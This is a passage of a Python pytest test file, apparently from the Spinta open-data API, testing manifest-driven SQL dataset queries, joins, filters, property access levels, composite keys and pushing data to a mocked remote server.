def test_filter_join(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | type | ref | source | prepare | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | sql | | | | | | | Data |
| | | | | | | | | | | |
| | | | Country | | code | salis | | | | | Country |
| | | | | code | string | | kodas | | 3 | open | | Code |
| | | | | name | string | | pavadinimas | | 3 | open | | Name |
| | | | | | | | | | | |
| | | | City | | name | miestas | country.code='lt' | | | | City |
| | | | | name | string | | pavadinimas | | 3 | open | | Name |
| | | | | country | ref | Country | salis | | 4 | open | | Country |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/Country')
codes = dict(listdata(resp, '_id', 'code'))
resp = app.get('/datasets/gov/example/City?sort(name)')
data = listdata(resp, 'country._id', 'name')
data = [(codes.get(country), city) for country, city in data]
assert data == [
('lt', 'Vilnius'),
]
def test_filter_join_nested(
rc: RawConfig,
tmpdir: pathlib.Path,
sqlite: Sqlite,
):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | type | ref | source | prepare | access
example/join/nested | | | | |
| data | sql | | | |
| | | Country | | code | COUNTRY | code='lt' |
| | | | code | string | | CODE | | open
| | | | name | string | | NAME | | open
| | | City | | name | CITY | |
| | | | name | string | | NAME | | open
| | | | country | ref | Country | COUNTRY | | open
| | | District | | name | DISTRICT | |
| | | | name | string | | NAME | | open
| | | | city | ref | City | CITY | | open
'''))
# Configure local server with SQL backend
sqlite.init({
'COUNTRY': [
sa.Column('CODE', sa.Text),
sa.Column('NAME', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Text),
],
'DISTRICT': [
sa.Column('NAME', sa.Text),
sa.Column('CITY', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'NAME': 'Lithuania', 'CODE': 'lt'},
])
sqlite.write('CITY', [
{'NAME': 'Vilnius', 'COUNTRY': 'lt'},
])
sqlite.write('DISTRICT', [
{'NAME': 'Old town', 'CITY': 'Vilnius'},
{'NAME': 'New town', 'CITY': 'Vilnius'},
])
app = create_client(rc, tmpdir, sqlite)
app.authmodel('example/join/nested', ['search'])
resp = app.get('/example/join/nested/District?select(city.name, name)')
assert listdata(resp) == [
('Vilnius', 'New town'),
('Vilnius', 'Old town'),
]
def test_filter_join_array_value(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | | | | | | | |
| | | | city | miestas | country.code=['lt','lv'] | | name | | | | City |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | country | salis | | ref | country | 4 | open | | Country |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
codes = dict(listdata(resp, '_id', 'code'))
resp = app.get('/datasets/gov/example/city?sort(name)')
data = listdata(resp, 'country._id', 'name', sort='name')
data = [(codes.get(country), city) for country, city in data]
assert data == [
('lv', 'Ryga'),
('lt', 'Vilnius'),
]
def test_filter_join_ne_array_value(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | | | | | | | |
| | | | city | miestas | country.code!=['lt','lv'] | | name | | | | City |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | country | salis | | ref | country | 4 | open | | Country |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
codes = dict(listdata(resp, '_id', 'code'))
resp = app.get('/datasets/gov/example/city?sort(name)')
data = listdata(resp, 'country._id', 'name', sort='name')
data = [(codes.get(country), city) for country, city in data]
assert data == [
('ee', 'Talinas'),
]
@pytest.mark.skip('todo')
def test_filter_multi_column_pk(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | id,code | | | | Country |
| | | | | id | id | | string | | 3 | open | | Code |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | | | | | | | |
| | | | city | miestas | country.code!='ee' | | name | | | | City |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | country | salis | | ref | country[code] | 4 | open | | Country |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
codes = dict(listdata(resp, '_id', 'code'))
resp = app.get('/datasets/gov/example/city?sort(name)')
data = listdata(resp, 'country._id', 'name', sort='name')
data = [(codes.get(country), city) for country, city in data]
assert data == [
('lv', 'Ryga'),
('lt', 'Vilnius'),
]
def test_getall(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | | | | | | | |
| | | | city | miestas | | | name | | | | City |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
| | | | | country | salis | | ref | country | 4 | open | | Country |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country?sort(code)')
codes = dict(listdata(resp, '_id', 'code'))
assert listdata(resp, 'code', 'name', '_type') == [
('ee', 'Estija', 'datasets/gov/example/country'),
('lt', 'Lietuva', 'datasets/gov/example/country'),
('lv', 'Latvija', 'datasets/gov/example/country'),
]
resp = app.get('/datasets/gov/example/city?sort(name)')
data = listdata(resp, 'country._id', 'name', '_type', sort='name')
data = [(codes.get(country), city, _type) for country, city, _type in data]
assert data == [
('lv', 'Ryga', 'datasets/gov/example/city'),
('ee', 'Talinas', 'datasets/gov/example/city'),
('lt', 'Vilnius', 'datasets/gov/example/city'),
]
def test_select(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country?select(code,name)')
assert listdata(resp, 'code', 'name') == [
('ee', 'Estija'),
('lt', 'Lietuva'),
('lv', 'Latvija'),
]
@pytest.mark.skip('TODO')
def test_select_len(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country?select(code,len(name))')
assert listdata(resp, 'code', 'len(name)') == [
('ee', 6),
('lt', 7),
('lv', 7),
]
def test_filter_len(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | open | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country?select(code,name)&len(name)=7&sort(code)')
assert listdata(resp, 'code', 'name') == [
('lt', 'Lietuva'),
('lv', 'Latvija'),
]
def test_private_property(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | private | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert listdata(resp) == [
'Latvija',
'Lietuva',
]
def test_all_private_properties(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | private | | Code |
| | | | | name | pavadinimas | | string | | 3 | private | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert error(resp, status=401) == 'AuthorizedClientsOnly'
def test_default_access(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | | | Code |
| | | | | name | pavadinimas | | string | | 3 | | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert error(resp, status=401) == 'AuthorizedClientsOnly'
def test_model_open_access(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | open | | Country |
| | | | | code | kodas | | string | | 3 | | | Code |
| | | | | name | pavadinimas | | string | | 3 | | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert listdata(resp) == [
('lt', 'Lietuva'),
('lv', 'Latvija'),
]
def test_property_public_access(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | public | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert listdata(resp) == [
'Latvija',
'Lietuva',
]
resp = app.get('/datasets/gov/example/country', headers={'Accept': 'text/html'})
assert listdata(resp) == [
'Latvija',
'Lietuva',
]
def test_select_protected_property(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | public | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country?select(code,name)')
assert error(resp) == 'PropertyNotFound'
resp = app.get('/datasets/gov/example/country?select(code,name)', headers={'Accept': 'text/html'})
assert error(resp) == 'PropertyNotFound'
def test_ns_getall(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
id | d | r | b | m | property | source | prepare | type | ref | level | access | uri | title | description
| datasets/gov/example | | | | | | | | Example |
| | data | | | sql | | | | | Data |
| | | | | | | | | | | |
| | | | country | salis | code!='ee' | | code | | | | Country |
| | | | | code | kodas | | string | | 3 | public | | Code |
| | | | | name | pavadinimas | | string | | 3 | open | | Name |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example')
assert listdata(resp, 'name', 'title') == [
('datasets/gov/example/country', 'Country'),
]
resp = app.get('/datasets/gov/example', headers={'Accept': 'text/html'})
assert listdata(resp, 'name', 'title') == [
('📄 country', 'Country'),
]
def test_push(postgresql, rc, cli: SpintaCliRunner, responses, tmpdir, geodb, request):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property| type | ref | source | access
datasets/gov/example | | | |
| data | sql | | |
| | | | | |
| | | Country | | code | salis |
| | | | code | string | | kodas | open
| | | | name | string | | pavadinimas | open
| | | | | |
| | | City | | name | miestas |
| | | | name | string | | pavadinimas | open
| | | | country | ref | Country | salis | open
'''))
# Configure local server with SQL backend
localrc = create_rc(rc, tmpdir, geodb)
# Configure remote server
remote = configure_remote_server(cli, localrc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data from local to remote.
assert remote.url == 'https://example.com/'
result = cli.invoke(localrc, [
'push',
'-d', 'datasets/gov/example',
'-o', remote.url,
'--credentials', remote.credsfile,
])
assert result.exit_code == 0
remote.app.authmodel('datasets/gov/example/Country', ['getall'])
resp = remote.app.get('/datasets/gov/example/Country')
assert listdata(resp, 'code', 'name') == [
('ee', 'Estija'),
('lt', 'Lietuva'),
('lv', 'Latvija')
]
codes = dict(listdata(resp, '_id', 'code'))
remote.app.authmodel('datasets/gov/example/City', ['getall'])
resp = remote.app.get('/datasets/gov/example/City')
data = listdata(resp, 'country._id', 'name')
data = [(codes.get(country), city) for country, city in data]
assert sorted(data) == [
('ee', 'Talinas'),
('lt', 'Vilnius'),
('lv', 'Ryga'),
]
# Add new data to local server
geodb.write('miestas', [
{'salis': 'lt', 'pavadinimas': 'Kaunas'},
])
# Push data from local to remote.
cli.invoke(localrc, [
'push',
'-d', 'datasets/gov/example',
'-o', remote.url,
'--credentials', remote.credsfile,
])
resp = remote.app.get('/datasets/gov/example/Country')
assert listdata(resp, 'code', 'name') == [
('ee', 'Estija'),
('lt', 'Lietuva'),
('lv', 'Latvija')
]
resp = remote.app.get('/datasets/gov/example/City')
data = listdata(resp, 'country._id', 'name')
data = [(codes.get(country), city) for country, city in data]
assert sorted(data) == [
('ee', 'Talinas'),
('lt', 'Kaunas'),
('lt', 'Vilnius'),
('lv', 'Ryga'),
]
def test_push_dry_run(postgresql, rc, cli: SpintaCliRunner, responses, tmpdir, geodb, request):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property| type | ref | source | access
datasets/gov/example | | | |
| data | sql | | |
| | | | | |
| | | Country | | code | salis |
| | | | code | string | | kodas | open
| | | | name | string | | pavadinimas | open
| | | | | |
| | | City | | name | miestas |
| | | | name | string | | pavadinimas | open
| | | | country | ref | Country | salis | open
'''))
# Configure local server with SQL backend
localrc = create_rc(rc, tmpdir, geodb)
# Configure remote server
remote = configure_remote_server(cli, localrc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data from local to remote.
assert remote.url == 'https://example.com/'
result = cli.invoke(localrc, [
'push',
'-d', 'datasets/gov/example',
'-o', remote.url,
'--credentials', remote.credsfile,
'--dry-run',
])
assert result.exit_code == 0
remote.app.authmodel('datasets/gov/example/Country', ['getall'])
resp = remote.app.get('/datasets/gov/example/Country')
assert listdata(resp, 'code', 'name') == []
def test_no_primary_key(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | source | type | ref | access
datasets/gov/example | | | |
| data | | sql | |
| | | | | |
| | | country | salis | | |
| | | | code | kodas | string | | open
| | | | name | pavadinimas | string | | open
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
codes = dict(listdata(resp, '_id', 'code'))
data = listdata(resp, '_id', 'code', 'name', sort='code')
data = [(codes.get(_id), code, name) for _id, code, name in data]
assert data == [
('ee', 'ee', 'Estija'),
('lt', 'lt', 'Lietuva'),
('lv', 'lv', 'Latvija'),
]
def test_count(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | source | type | ref | access
datasets/gov/example | | | |
| data | | sql | |
| | | | | |
| | | country | salis | | |
| | | | code | kodas | string | | open
| | | | name | pavadinimas | string | | open
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country?select(count())')
assert listdata(resp) == [3]
def test_push_chunks(
postgresql,
rc,
cli: SpintaCliRunner,
responses,
tmpdir,
geodb,
request,
):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | source | type | ref | access
datasets/gov/example | | | |
| data | | sql | |
| | | | | |
| | | country | salis | | code |
| | | | code | kodas | string | | open
| | | | name | pavadinimas | string | | open
'''))
# Configure local server with SQL backend
localrc = create_rc(rc, tmpdir, geodb)
# Configure remote server
remote = configure_remote_server(cli, localrc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push data from local to remote.
cli.invoke(localrc, [
'push',
'-d', 'datasets/gov/example',
'-o', 'spinta+' + remote.url,
'--credentials', remote.credsfile,
'--chunk-size=1',
])
remote.app.authmodel('datasets/gov/example/country', ['getall'])
resp = remote.app.get('/datasets/gov/example/country')
assert listdata(resp, 'code', 'name') == [
('ee', 'Estija'),
('lt', 'Lietuva'),
('lv', 'Latvija')
]
def test_push_state(postgresql, rc, cli: SpintaCliRunner, responses, tmpdir, geodb, request):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | source | type | ref | access
datasets/gov/example | | | |
| data | | sql | |
| | | | | |
| | | country | salis | | code |
| | | | code | kodas | string | | open
| | | | name | pavadinimas | string | | open
'''))
# Configure local server with SQL backend
localrc = create_rc(rc, tmpdir, geodb)
# Configure remote server
remote = configure_remote_server(cli, localrc, rc, tmpdir, responses)
request.addfinalizer(remote.app.context.wipe_all)
# Push one row, save state and stop.
cli.invoke(localrc, [
'push',
'-d', 'datasets/gov/example',
'-o', remote.url,
'--credentials', remote.credsfile,
'--chunk-size', '1k',
'--stop-time', '1h',
'--stop-row', '1',
'--state', tmpdir / 'state.db',
])
remote.app.authmodel('datasets/gov/example/country', ['getall'])
resp = remote.app.get('/datasets/gov/example/country')
assert len(listdata(resp)) == 1
cli.invoke(localrc, [
'push',
'-d', 'datasets/gov/example',
'-o', remote.url,
'--credentials', remote.credsfile,
'--stop-row', '1',
'--state', tmpdir / 'state.db',
])
resp = remote.app.get('/datasets/gov/example/country')
assert len(listdata(resp)) == 2
def test_prepared_property(rc, tmpdir, geodb):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | b | m | property | type | ref | source | prepare | access
datasets/gov/example | | | | |
| data | sql | | | |
| | | country | | code | salis | | open
| | | | code | string | | kodas | |
| | | | name | string | | pavadinimas | |
| | | | continent | string | | | 'EU' |
'''))
app = create_client(rc, tmpdir, geodb)
resp = app.get('/datasets/gov/example/country')
assert listdata(resp, 'continent', 'code', 'name') == [
('EU', 'ee', 'Estija'),
('EU', 'lt', 'Lietuva'),
('EU', 'lv', 'Latvija'),
]
def test_composite_keys(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/ds | | | | |
| rs | sql | | | |
| | Country | | id | COUNTRY | | open
| | | id | array | | | code, continent |
| | | name | string | | NAME | |
| | | code | string | | CODE | |
| | | continent | string | | CONTINENT | |
| | City | | name, country | CITY | | open
| | | name | string | | NAME | |
| | | country_code | string | | COUNTRY | |
| | | continent | string | | CONTINENT | |
| | | country | ref | Country | | country_code, continent |
'''))
app = create_client(rc, tmpdir, sqlite)
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('CODE', sa.Text),
sa.Column('CONTINENT', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Text),
sa.Column('CONTINENT', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'CONTINENT': 'eu', 'CODE': 'lt', 'NAME': 'Lithuania'},
{'CONTINENT': 'eu', 'CODE': 'lv', 'NAME': 'Latvia'},
{'CONTINENT': 'eu', 'CODE': 'ee', 'NAME': 'Estonia'},
])
sqlite.write('CITY', [
{'CONTINENT': 'eu', 'COUNTRY': 'lt', 'NAME': 'Vilnius'},
{'CONTINENT': 'eu', 'COUNTRY': 'lt', 'NAME': 'Kaunas'},
{'CONTINENT': 'eu', 'COUNTRY': 'lv', 'NAME': 'Riga'},
{'CONTINENT': 'eu', 'COUNTRY': 'ee', 'NAME': 'Tallinn'},
])
resp = app.get('/datasets/ds/Country')
data = listdata(resp, '_id', 'continent', 'code', 'name', sort='name')
country_key_map = {
_id: (continent, code)
for _id, continent, code, name in data
}
data = [
(country_key_map.get(_id), continent, code, name)
for _id, continent, code, name in data
]
assert data == [
(('eu', 'ee'), 'eu', 'ee', 'Estonia'),
(('eu', 'lv'), 'eu', 'lv', 'Latvia'),
(('eu', 'lt'), 'eu', 'lt', 'Lithuania'),
]
resp = app.get('/datasets/ds/City')
data = listdata(resp, 'country', 'name', sort='name')
data = [
(
{
**country,
'_id': country_key_map.get(country.get('_id')),
},
name,
)
for country, name in data
]
assert data == [
({'_id': ('eu', 'lt')}, 'Kaunas'),
({'_id': ('eu', 'lv')}, 'Riga'),
({'_id': ('eu', 'ee')}, 'Tallinn'),
({'_id': ('eu', 'lt')}, 'Vilnius'),
]
def test_composite_ref_keys(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/ds | | | | |
| rs | sql | | | |
| | Continent | | id | CONTINENT | | open
| | | id | integer | | ID | |
| | | name | string | | NAME | |
| | Country | | id | COUNTRY | | open
| | | id | integer | | ID | |
| | | name | string | | NAME | |
| | | code | string | | CODE | |
| | | continent | ref | Continent | CONTINENT_ID | |
| | City | | id | CITY | | open
| | | id | integer | | ID | |
| | | name | string | | NAME | |
| | | continent | ref | Continent | CONTINENT_ID | |
| | | country_code | string | | COUNTRY_CODE | |
| | | country | ref | Country[continent,code] | | continent, country_code |
'''))
app = create_client(rc, tmpdir, sqlite)
sqlite.init({
'CONTINENT': [
sa.Column('ID', sa.Integer, primary_key=True),
sa.Column('NAME', sa.Text),
],
'COUNTRY': [
sa.Column('ID', sa.Integer, primary_key=True),
sa.Column('CODE', sa.Text),
sa.Column('CONTINENT_ID', sa.Integer, sa.ForeignKey('CONTINENT.ID')),
sa.Column('NAME', sa.Text),
],
'CITY': [
sa.Column('ID', sa.Integer, primary_key=True),
sa.Column('CONTINENT_ID', sa.Integer, sa.ForeignKey('CONTINENT.ID')),
sa.Column('COUNTRY_CODE', sa.Text),
sa.Column('NAME', sa.Text),
],
})
sqlite.write('CONTINENT', [
{'ID': 1, 'NAME': 'Europe'},
{'ID': 2, 'NAME': 'Africa'},
])
sqlite.write('COUNTRY', [
{'ID': 1, 'CONTINENT_ID': 1, 'CODE': 'lt', 'NAME': 'Lithuania'},
{'ID': 2, 'CONTINENT_ID': 1, 'CODE': 'lv', 'NAME': 'Latvia'},
{'ID': 3, 'CONTINENT_ID': 1, 'CODE': 'ee', 'NAME': 'Estonia'},
])
sqlite.write('CITY', [
{'ID': 1, 'CONTINENT_ID': 1, 'COUNTRY_CODE': 'lt', 'NAME': 'Vilnius'},
{'ID': 2, 'CONTINENT_ID': 1, 'COUNTRY_CODE': 'lt', 'NAME': 'Kaunas'},
{'ID': 3, 'CONTINENT_ID': 1, 'COUNTRY_CODE': 'lv', 'NAME': 'Riga'},
{'ID': 4, 'CONTINENT_ID': 1, 'COUNTRY_CODE': 'ee', 'NAME': 'Tallinn'},
])
resp = app.get('/datasets/ds/Continent')
continents = dict(listdata(resp, '_id', 'name'))
assert sorted(continents.values()) == [
'Africa',
'Europe',
]
resp = app.get('/datasets/ds/Country')
countries = dict(listdata(resp, '_id', 'name'))
assert sorted(countries.values()) == [
'Estonia',
'Latvia',
'Lithuania',
]
resp = app.get('/datasets/ds/City')
cities = listdata(resp, 'name', 'country', 'continent', sort='name')
cities = [
(
name,
countries[country['_id']],
continents[continent['_id']],
)
for name, country, continent in cities
]
assert cities == [
('Kaunas', 'Lithuania', 'Europe'),
('Riga', 'Latvia', 'Europe'),
('Tallinn', 'Estonia', 'Europe'),
('Vilnius', 'Lithuania', 'Europe'),
]
def test_composite_non_pk_keys(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/ds | | | | |
| rs | sql | | | |
| | Country | | code | COUNTRY | | open
| | | name | string | | NAME | |
| | | code | string | | CODE | |
| | | continent | string | | CONTINENT | |
| | City | | name, country | CITY | | open
| | | name | string | | NAME | |
| | | country_code | string | | COUNTRY | |
| | | continent | string | | CONTINENT | |
| | | country | ref | Country[continent,code] | | continent, country_code |
'''))
app = create_client(rc, tmpdir, sqlite)
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('CODE', sa.Text),
sa.Column('CONTINENT', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Text),
sa.Column('CONTINENT', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'CONTINENT': 'eu', 'CODE': 'lt', 'NAME': 'Lithuania'},
{'CONTINENT': 'eu', 'CODE': 'lv', 'NAME': 'Latvia'},
{'CONTINENT': 'eu', 'CODE': 'ee', 'NAME': 'Estonia'},
])
sqlite.write('CITY', [
{'CONTINENT': 'eu', 'COUNTRY': 'lt', 'NAME': 'Vilnius'},
{'CONTINENT': 'eu', 'COUNTRY': 'lt', 'NAME': 'Kaunas'},
{'CONTINENT': 'eu', 'COUNTRY': 'lv', 'NAME': 'Riga'},
{'CONTINENT': 'eu', 'COUNTRY': 'ee', 'NAME': 'Tallinn'},
])
resp = app.get('/datasets/ds/Country')
data = listdata(resp, '_id', 'continent', 'code', 'name', sort='name')
country_key_map = {
_id: (continent, code)
for _id, continent, code, name in data
}
data = [
(country_key_map.get(_id), continent, code, name)
for _id, continent, code, name in data
]
assert data == [
(('eu', 'ee'), 'eu', 'ee', 'Estonia'),
(('eu', 'lv'), 'eu', 'lv', 'Latvia'),
(('eu', 'lt'), 'eu', 'lt', 'Lithuania'),
]
resp = app.get('/datasets/ds/City')
data = listdata(resp, 'country', 'name', sort='name')
data = [
(
{
**country,
'_id': country_key_map.get(country.get('_id')),
},
name,
)
for country, name in data
]
assert data == [
({'_id': ('eu', 'lt')}, 'Kaunas'),
({'_id': ('eu', 'lv')}, 'Riga'),
({'_id': ('eu', 'ee')}, 'Tallinn'),
({'_id': ('eu', 'lt')}, 'Vilnius'),
]
def test_composite_non_pk_keys_with_filter(rc, tmpdir, sqlite):
create_tabular_manifest(tmpdir / 'manifest.csv', striptable('''
d | r | m | property | type | ref | source | prepare | access
datasets/ds | | | | |
| rs | sql | | | |
| | Country | | code | COUNTRY | | open
| | | name | string | | NAME | |
| | | code | string | | CODE | |
| | | continent | string | | CONTINENT | |
| | City | | name, country | CITY | country.code='lt' | open
| | | name | string | | NAME | |
| | | country_code | string | | COUNTRY | |
| | | continent | string | | CONTINENT | |
| | | country | ref | Country[continent,code] | | continent, country_code |
'''))
app = create_client(rc, tmpdir, sqlite)
sqlite.init({
'COUNTRY': [
sa.Column('NAME', sa.Text),
sa.Column('CODE', sa.Text),
sa.Column('CONTINENT', sa.Text),
],
'CITY': [
sa.Column('NAME', sa.Text),
sa.Column('COUNTRY', sa.Text),
sa.Column('CONTINENT', sa.Text),
],
})
sqlite.write('COUNTRY', [
{'CONTINENT': 'eu', 'CODE': 'lt', 'NAME': 'Lithuania'},
{'CONTINENT': 'eu', 'CODE': 'lv', 'NAME': 'Latvia'},
{'CONTINENT': 'eu', 'CODE': 'ee', 'NAME': 'Estonia'},
])
sqlite.write('CITY', [
{'CONTINENT': 'eu', 'COUNTRY': 'lt', 'NAME': 'Vilnius'},
{'CONTINENT': 'eu', 'COUNTRY': 'lt', 'NAME': 'Kaunas'},
{'CONTINENT': 'eu', 'COUNTRY': 'lv', 'NAME': 'Riga'},
{'CONTINENT': 'eu', 'COUNTRY': 'ee', 'NAME': 'Tallinn'},
])
resp = app.get('/datasets/ds/Country')
data = listdata(resp, '_id', 'continent', 'code', 'name', sort='name')
country_key_map = {
_id: (continent, code)
for _id, continent, code, name in data
}
data = [
(country_key_map.get(_id), continent, code, name)
for _id, continent, code, name in data
]
assert data == [
(('eu', 'ee'), 'eu', 'ee', 'Estonia'),
(('eu', 'lv'), 'eu', 'lv', 'Latvia'),
(('eu', 'lt'), 'eu', 'lt', 'Lithuania'),
]
resp = app.get('/datasets/ds/City')
data = listdata(resp, 'country', 'name', sort='name')
data = [
(
{
**country,
'_id': country_key_map.get(country.get('_id')),
},
name,
)
for country, name in data
]
assert data == [
